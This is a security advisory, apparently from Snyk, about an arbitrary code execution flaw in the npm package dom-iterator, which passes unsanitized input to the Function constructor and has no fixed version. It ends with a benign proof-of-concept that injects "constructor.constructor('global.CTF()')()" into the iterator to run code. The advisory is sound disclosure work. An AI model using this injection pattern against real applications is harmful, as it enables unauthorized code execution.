Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Execution vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for dom-iterator
.
dom-iterator is a feature-rich, well-tested Iterator for traversing DOM nodes.
Affected versions of this package are vulnerable to Arbitrary Code Execution due to use of the Function
constructor without complete input sanitization. Function
generates a new function body and thus care must be given to ensure that the inputs to Function are not attacker-controlled. The risks involved are similar to that of allowing attacker-controlled input to reach eval
.
Executing this code will cause the code console.log("GLOBAL.CTF HIT")
to be executed, leading to the output of the string 'GLOBAL.CTF HIT'
to the console.
var PUT = require('dom-iterator'); global.CTF = function() { console.log("GLOBAL.CTF HIT") } // We want to prove we can execute this by using the package
var parser = require('mini-html-parser'); var html = '<h1></h1>'; // Any non-empty html should work var parser = parser(html); var node = parser.parse();
var it = PUT(node); var next; while (next = it.next("constructor.constructor('global.CTF()')()")) { }